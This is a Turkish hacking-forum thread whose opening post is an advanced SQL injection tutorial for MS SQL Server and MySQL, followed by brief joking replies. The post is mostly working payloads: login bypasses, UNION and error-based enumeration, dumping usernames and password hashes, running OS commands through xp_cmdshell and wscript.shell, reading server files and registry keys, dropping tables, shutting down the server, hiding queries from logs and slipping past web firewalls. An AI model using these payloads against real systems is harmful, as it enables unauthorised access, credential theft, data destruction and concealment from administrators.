folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder Sql İnjection İleri Yöntemler - Döküman Tarzı



Sql İnjection İleri Yöntemler - Döküman Tarzı

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Twitter
    Twitter's avatar
    Kayıt Tarihi: 13/Ekim/2007
    Erkek

    Sevgili Tbt Müritleri biraz geç oldu ama önceden bir yazı yazmıştım sql injection adında
    orada genel olarak sql injection ile yapılabilecek temel yöntemlere değinmek istedim.
    Bu dökümanımda ise size kendimce ileri yöntemlerden bahsedicem eğer hiç bir bilginiz yoksa
    ilk yazımı okumanızı isterim .Bu kaynağı oluştururken Birçok yerden faydalandım . Döküman içerisinde
    Mysql mssql injectiondan tutunda atack gizleme system prosedürleri ile yapılabilecek birçok ileri yöntemden bahsedilmiştir
    Tabi dahada iyi yöntemler olduğu kesindir. Bilenlerde bu başlık altından yorum yapıp eksikleri eleştirebilir. Amaç zaten meraklı arkadaşlara
    döküman sunmak

    İlk Yazımın Adresi
    http://www.tahribat.com/Forum-Sql-Injection-Anlatim-102895/1/sql

    Öncelikle yazdığım bazı şeyler sql server üzerinden çalışır

    Sırayla açıklamaya başlayalım
    “--“ SQL Cümlesini sonlandırmaya yarar
    “;” 2. SQL cümlesini çalıştırmaya yarar

    Biliyoruzki artık sql injection login panellerindede çalışıyor. Mesela login panelinden kasıt kullancı adı ve şifre girdiğimiz alanlardır

     1. Login olabilmek için genelde input bölgesine uygulayacağımız kodları aşağıda verdim.
              * admin’ –
              * ‘ or 1=1—
              * ...
       2. Farklı bir kullanıcı olarakda login olma ise aşağıdaki gibi gösterilmiştir.
              * ‘ union select 1, ‘diger_user’, ‘birseyler_sifre’, 1--

             
              Bu tür login ekranlarında şansınız varsa yukarıda kodlarla giriş yapmayı başarırsınız.
             
    Ama genel olarak sql injectionla uğraşan biri site üzerinden hatalardan yola çıkarak ilerlemeye çalışır birazda hatalardan
    ilerlemeyi gösterelim

       1. ‘ having 1=1 – (sitede unclosed olduğunu gördük ve having çektik tablolar gelmeye başladı )
       2. ‘ group by hatadangelen.id having 1=1—
       3. ‘ group by hatadangelen.id, gelenikinci.id, üçüncü.id having 1=1—(böyle gider)
       4. Hata almayı bitirince tablo bitti demektir.
       5. Ek olarak order by ile de union da kaç kolon çekildiği bulunabilir.Burada amaç zaten order by yanındaki rakamı artırıp kolon sayısını anlamaktır.
              * ORDER BY 1—
              * ORDER BY 2—
    Yavaş yavaş injection süreci ilerlemeye başlar bu sefer önemli olan gelen veri tipini belirlemektir
    Bu yöntemde asıl amaç data tipini belirlemektir.

    1. ‘ union select sum(tipibulunacakalan) from users—
          Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
          [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
       2. Hata kodu bize verdiğimiz alanin varchar olduğunu söyledi.
       3. Eğer hata kodu union işlemi ile ilgiliyse yada hata gelmiyorsa verdiğimiz alan numeric demektir.
       4. Union işlemlerde NULL kullanılabilir date, integer, string in 3 tipinde de bu geçerli sonuç verecektir.
              * 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
                No Error - Syntax is right. MS SQL Server Used. Proceeding.
              * 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
                No Error – First column is an integer.
              * 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
                Error! – Second column is not an integer.
              * 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
                No Error – Second column is a string.
              * 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
                Error! – Third column is not an integer. ...
      5. Convert ve Errorlar ile field tipi bulma - convert(image,1)
              * SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL—
              * Microsoft OLE DB Provider for SQL Server error '80040e07'
                Explicit conversion from data type int to image is not allowed.
              * You’ll get convert() errors before union target errors ! So start with convert() then union

    Artık data tiplerinide bulduk bu sefer geldik siteye db ye data eklemeye . Eğer başarılı olursak db üzerinden adminin pass bile güncellenir :)
    Data Ekleme

        * '; insert into users values( 666, 'attacker', 'foobar', 0xffff )—

    Sistem Hakkında Bilgi Toplama

    Data convert işlemlerinde SQL Server detaylı hata mesajları döndürür;

        * ' union select @@version,1,1,1--
          SQL Server versiyonunu döndürecektir. ( Numerik alan ile union edilmeye çalışılmalı ! )
         
    Data Alma

       1. ' union select min(username),1,1,1 from users where username > 'admin'--
          Users tablosundaki username’ e integerlara uygulanan min() denediğinden ve string i de çekmiş olduğundan hata mesajı olarak çekilmiş olan username gelecektir.
       2. ' union select password,1,1,1 from users where username = 'admin'—
          Bir önceki işlemde bulduğu username i direk union ile getiriyor
       3. ‘ Union All Select 1,1,1,1 FROM SysObjects WHERE ‘=’
       4. User defined Tables
          SELECT name FROM sysobjects WHERE xtype = ‘U’
       5. Field Getirme
          SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘ORDERS’)
       6. Record ilerletme
          WHERE users NOT IN (‘First User’, ‘Second User’)
       7. Record ilerletme 2
          Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

    Advanced Yöntemler

    T-SQL ile bir tablodaki tüm datayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.

    set @ret=':'
    select @ret=@ret+' '+username+'/'+password from users where username>@ret
    select @ret as ret into foo
    end

    The attacker 'logs in' with this 'username' (all on one line, obviously…)

       1. Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
       2. ' union select ret,1,1,1 from foo--
          convert hatası alacağından dolayı direk az önce insert edilen stringleri getirir.
       3. Teoriye göre eğer SQL Server Local System Account’ ı ile çalışıyorsa regread ile SAM account’ u okunabilir. Default! (xp_regread)
       4. Linked serverlarda query çalıştırılabilir (openquery)
       5. Custom Stored Procedure’ ler ile SQL Server Process’ i içerisinden exploit yazılıp çalıştırabilir. (sp_addextendedproc)
       6. Bulk Insert ile serverdaki herhangi bir dosya okunabilir
              * create table foo( line varchar(8000) )
              * bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
              * Şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
       7. Text dosyası yazma (BCP – Login bilgisi gerekli)
          bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
       8. “sa” olarak login olduk mu?
          if (select user) = 'sa' waitfor delay '0:0:5'
       9. ActiveX desteğinden dolayı scripting kullanılabilir (VBS, WSH)
          wscript.shell example
          declare @o int
          exec sp_oacreate 'wscript.shell', @o out
          exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
          Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
      10. SQL Server’ı konuşturma (maymunluk olsun diye yapılabilir)
      11. Tırnak Kullanmadan SQL Yazmak
          insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
          veya sadece numerik değerler ile data girilebilir

          insert into users values( 667, 123, 123, 0xffff)
          SQL Server integerları otomatik olarak varchar a çeviriyor.
      12. Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

    Özel Tablolar

       1. Hata Mesajları
          select * from master..sysmessages
       2. Linked Serverlar (openquery fonskiyonunu login olmadan kullanilabilir eger ki sp_addlinkedsrvlogin kullanıldıysa)
          master..sysservers
       3. Şifreler, Loginler
          master..sysxlogins

    Tablo / Server Modifikasyon

        * Tablo Silme
          '; drop table foo--

    Functions

       1. SQL Server’ ı kapa (shutdown)
          ‘; shutdown—
       2. Bekleme (waitfor delay)
          Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için
          waitfor delay '0:0:10'—
          kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir.

    Atak Gizleme

    SQL Server sp_password içeren SQL Querylerini güvenlik nediyle loglamıyor. Bu durumda her çalıştırılan komut ardından ‘–sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor.
    SQL Injection Tespiti

    Normalde SQL Injection basit şekilde tek tırnak (‘) vs. Koyarak çıkan hataya göre tespti edilebilir. Ancak bazı uygulamaları hataları gizleyebilir, yada siz arkadaki yada hata olduğunda direk varsayılandan devam etme gibi özelliklere sahip olabilir. Bunun yanında bir diğer kritik sorunsa bir sistemde ne kadar çok hata verdirtirseniz bir analizde o kadar çok takip edilebilirsiniz.

    Ek olarak software based server da çalışan web firewall ları genelde pattern olarak (Snort gibi IDS lerde bu şekilde) status code larında “500” veya benzer hata kodlarını eklerler genelde bir çok “200“ status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olayın trace noktasında da bu bir kolaylıktır.

    Bu noktada daha önceden bahsi geçen “waitfor delay” kullanışlı bir fonksiyondur. Ek olarak daha da pratik mantık SQL ün aynı işi yapmasını sağlayan queryler oluşturmaktır, ama tabii ki tırnak yada SQL de çalışacak fonksiyonlar kullanarak.

       1. product.asp?id=4
              * product.asp?id=5-1
              * product.asp?id=4 OR 1=1
       2. product.asp?name=Book
              * product.asp?name=Bo’+’ok
              * product.asp?name=Bo’ || ’ok (ORACLE)
              * product.asp?name=Book’ OR ‘x’=’x

    Stored Procedures

       1. Cmd Execute (xp_cmdshell)
          exec master..xp_cmdshell 'dir'
       2. Registry İşlemleri (xp_regread)
          Registry’ e yazma okuma vs. İşlemleri.
              * xp_regaddmultistring
              * xp_regdeletekey
              * xp_regdeletevalue
              * xp_regenumkeys
              * xp_regenumvalues
              * xp_regread
              * xp_regremovemultistring
              * xp_regwrite
                exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
                exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
       3. Servisleri Kontrol Etmek (xp_servicecontrol)
       4. Sistemdeki Medyaları Görme (xp_availablemedia)
       5. Directory Tree sini alma (xp_dirtree)
       6. ODBC Resourceları Listeleme (xp_enumdsn)
       7. Login modeunu bulma (xp_loginconfig)
       8. Cab Arşiv Oluşturma (xp_makecab)
       9. Domainleri Bulma (xp_ntsec_enumdomains)
      10. PID ile process terminate etme (xp_terminate_process)
      11. Yeni Strored Procedure Ekleme (istenilen kod SQL Server process içerisinde çalıştırılabilir)
          sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
          exec xp_webserver
      12. Stored Procedure Silme (sp_dropextendedproc)
      13. Dışarıya UNC dahil dosya yazma (sp_makewebtask)

    Other

        * OleDB driver ile çalıştırılan SQL’ lerde union vs. Ler çalışmayabilir
        * Execute() ile çalıştırılanlar sağlamdır

    MySQL Injection

        * After MySQL 4.0 you can “Union” queries
        * For SQL comments use /*mysql comment*/
        * Unions are just like SQL Server unions same fields, same types required
        * @@version is available, you can use it in unions
        * You can hex-encoded strings
              o select 'c:/boot.ini'
              o or
              o select 0x633a2f626f6f742e696e69
        * MySQL can load DLL and run arbitary code
        * Subqueries version 4.1+
        * MySQL Passwords
              o In versions prior to 4.1, the password hash can be used to
                authenticate directly with the database. Just recompile MySQL Client to login with hash.
              o Other versions use SHA1
              o SELECT User,Password FROM mysql.user;
              o SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;

    MySQL (Custom) Functions & UDF

        * substring
              o query.php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
        * SELECT ... INTO DUMPFILE
              o Write query into a new file (can not modify existing file)
        * UDF Function
              o create function LockWorkStation returns integer soname 'user32';
              o select LockWorkStation();
              o create function ExitProcess returns integer soname 'kernel32';
              o select exitprocess();
        * SELECT USER();
        * SELECT password,USER() FROM mysql.user;
        * First byte of admin hash
              o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

    MySQL Samples

      UPDATE user
      SET Password=PASSWORD('crack')
      WHERE user='root';
      FLUSH PRIVILEGES;
    MySQL Load_File

        * With unions you can read a file
        * query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    MySQL Load Data Infile

        * By default it’s not avaliable !
              o create table foo( line blob );
                load data infile 'c:/boot.ini' into table foo;
                select * from foo;

    Timing & Blind MySQL Injection

        * select benchmark( 500000, sha1( 'test' ) );
        * query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
        * select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
        * Enumeration data, Guessed Brute Force
              o select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

    Stored Procedure Injection

       1. Eğer SQL bir şekilde ASP ile unsafe parametrelerle oluşturulup gönderiliyorsa bu güvenli değildir. Stored Procedure olsa bile.
       2. Eğer parametrelerde ADO Command gibi bir şeyler ile gönderiliyorsa ve doğru implemente edildiyse güvenlidir.
          sp_who '1' select * from sysobjects
          or
          sp_who '1'; select * from sysobjects

    Second Order SQL Injection

    Zor bir metod, temel olarak arda arda birbirinin datasının kullanan SQL’ lerde kullanılabilir. Temel boşluk bu tip yerlerde ikinci SQL birinci SQL den datayı aldığından ona gözü kapalı güvenmesidir yani gelen data kullanıcıdan değil de aplikasyondan geldiğinden tekrar kontrol edilmez genelde.

       1. Bir sistemde yeni kullanıcı şu şekilde oluşturulur;
          Username: admin'--
          Password: password
       2. Bu şu Insert’ i çalıştırır;
          insert into users values( 123, 'admin''--', 'password', 0xffff )
       3. Şifre değiştirme ekranındaki durum şu şekilde olacaktır;
          Kontrol;
          var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
       4. Şifre Update işlemi;
          sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
          Bu adımda bir önceki SQL dönen username direk kullandığında filtreden geçemeyeceğinden direk olarak şu SQL çalışmış olacaktır;
          update users set password = 'password' where username = 'admin'--'
          Bu da admin şifresinin istenilen şifreye değiştirecektir.

    Second Order Insert SQL Injection

    Form dolurulurken şu şekilde doldurulur;

    Name : ‘ + (SELECT TOP 1 password FROM users ) + ’

    Email : xx@xx.com vs...
    Notes

    Diye bir sürü yöntemler sürdürebilir. Umarım bir faydası olmuştur.


    Tbt Dersimliler Derneği Başkanı :)
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wking
    wking's avatar
    Kayıt Tarihi: 28/Mart/2010
    Erkek

    En iyi hacker en iyi yazılımcıdır.

    Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :)

  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    tutkun
    tutkun's avatar
    Kayıt Tarihi: 20/Mayıs/2010
    Erkek

    Şöyle derinlemesine bir çizik atayım . :)


    Bilen konuşmuyor, konuşan bilmiyor...
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    dyrnade
    dyrnade's avatar
    Kayıt Tarihi: 27/Temmuz/2009
    Erkek

    wking bunu yazdı:
    -----------------------------

    En iyi hacker en iyi yazılımcıdır.

    Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :)


    -----------------------------

    pek komiksin hahah :D

  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    mehmetdiyebiri
    mehmetdiyebiri's avatar
    Kayıt Tarihi: 18/Haziran/2010
    Erkek

    dyrnade bunu yazdı:
    -----------------------------

    wking bunu yazdı:
    -----------------------------

    En iyi hacker en iyi yazılımcıdır.

    Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :)


    -----------------------------

    pek komiksin hahah :D


    -----------------------------

    neden pek komikmiş ?


    PUHU Leather Goods - https://www.instagram.com/puhuleathergoods
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Amd-x
    Amd-x's avatar
    Kayıt Tarihi: 29/Eylül/2009
    Erkek

    döküman arşivine kaldırılmalı, anlatımda gayet anlaşılır (=

  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Hermes
    abdullahazad
    abdullahazad's avatar
    Kayıt Tarihi: 21/Mayıs/2007
    Erkek

    wking bunu yazdı:
    -----------------------------

    En iyi hacker en iyi yazılımcıdır.

    Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :)


    -----------------------------

    neyle uğraşır ?


    az insan çok huzur.
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    DrKill
    DrKill's avatar
    Kayıt Tarihi: 10/Mart/2004
    Erkek

    çizik


    Bu imzayı her gördüğünüzde 4gb kotanızın 0,00000358559191226959228515625 azalmaktadır. Bilerek ve istenerek bu imza yapılmıştır. Amaç kotanızı sömürmektir
Toplam Hit: 1935 Toplam Mesaj: 8